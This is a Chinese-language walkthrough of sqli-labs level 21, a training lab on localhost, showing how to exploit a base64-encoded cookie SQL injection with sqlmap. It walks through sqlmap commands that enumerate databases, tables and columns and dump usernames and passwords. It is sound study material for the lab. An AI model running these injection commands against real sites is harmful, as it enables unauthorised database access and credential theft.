sqli-labs第二十一关详解(这次用sqlmap)

目录

源码分析

用sqlmap润

注入点测试

爆数据库

​爆表

爆字段

​爆值


源码分析

跟上一关的差别就是cookie加密了,还有闭合号的不同

对cookie里uname的值进行了base64加密,在使用cookie的时候又会进行base64解密,所以在进行注入的时候,应将注入代码进行base64加密,这里一样可以利用时间盲注,报错盲注,DNSlog注入

用sqlmap润

手工搞累了,这次试一下sqlmap,也顺便熟悉一下怎么用

注入点测试

打开Windows终端

python sqlmap.py -u http://127.0.0.1/Less-21/ --cookie="uname=1"* --dbms MySQL --threads=10 --batch --tamper=base64encode

解析一下上面参数对应的意思

-u 网站URL

后面要注入的网址的URL

--cookie="x=a"

意思是指对cookie名为x的参数进行注入,上面就是对uname这个点进行注入,后面加*意思是只对cookie对应的点进行注入测试,不加的话还会测试其他参数是否为注入点,加上可以节约时间

--dbms 数据库名

意思是明确注入目标数据库名,上面的意思是目标数据库为MySQL,不加的话会对所有的数据库进行测试,加上节约时间

--threads=线程数(1-10)

上面的意思是用10线程跑sqlmap,线程越高跑出来的时间越短,过高可能会访问繁忙而被waf拦截

--batch 

意思是选择默认选项,跑sqlmap的时候不加上这句话,会提示你是否继续的

--tamper=加密方式

对注入的内容进行加密注入,上面的意思是在对uname进行注入的时候,会先进行base64加密再注入

回车开跑(注意,因为我环境变量里的python是3.0版本以上的,不支持sqlmap,所以就下了个2.7版本的python并改名为python27加进环境变量,防止版本冲突)sqli-labs第二十一关详解(这次用sqlmap)_第1张图片

爆出了可用注入方式跟网站环境配件的版本,说明uname这个是注入点

爆数据库

爆一下全部数据库,同上面的语句后面加上--dbs

python sqlmap.py -u http://127.0.0.1/Less-21/ --cookie="uname=1"* --dbms MySQL --threads=10 --batch --tamper=base64encode --dbs

sqli-labs第二十一关详解(这次用sqlmap)_第2张图片

也可以只爆当前使用的数据库名,后面语句加上-current-db

python sqlmap.py -u http://127.0.0.1/Less-21/ --cookie="uname=1"* --dbms MySQL --threads=10 --batch --tamper=base64encode -current-db

爆表

知道数据库名,就能爆相应的表了,在第一条语句后面加上-D security -tables

python sqlmap.py -u http://127.0.0.1/Less-21/ --cookie="uname=1"* --dbms MySQL --threads=10 --batch --tamper=base64encode -D security -tables

-D security

指定数据库进行注入

-tables

爆出指定数据库内的所有表名

sqli-labs第二十一关详解(这次用sqlmap)_第3张图片

爆字段

在知道数据库跟表名的前提下,同第一条测试注入语句后面加上-D security  -T users -columns

python sqlmap.py -u http://127.0.0.1/Less-21/ --cookie="uname=1"* --dbms MySQL --threads=10 --batch --tamper=base64encode -D security  -T users -columns

-T users

指定表名users

-columns

爆指定好数据库跟表名的全部字段

sqli-labs第二十一关详解(这次用sqlmap)_第4张图片爆值

python sqlmap.py -u http://127.0.0.1/Less-21/ --cookie="uname=1"* --dbms MySQL --threads=10 --batch --tamper=base64encode -D security  -T users -C"id,password,username" -dump

-C"id,password,username" -dump

意思是指定id,password,username这三个字段,查看这三个字段的值

sqli-labs第二十一关详解(这次用sqlmap)_第5张图片

你可能感兴趣的:(sqlilabs解析,SQL注入,sqlmap)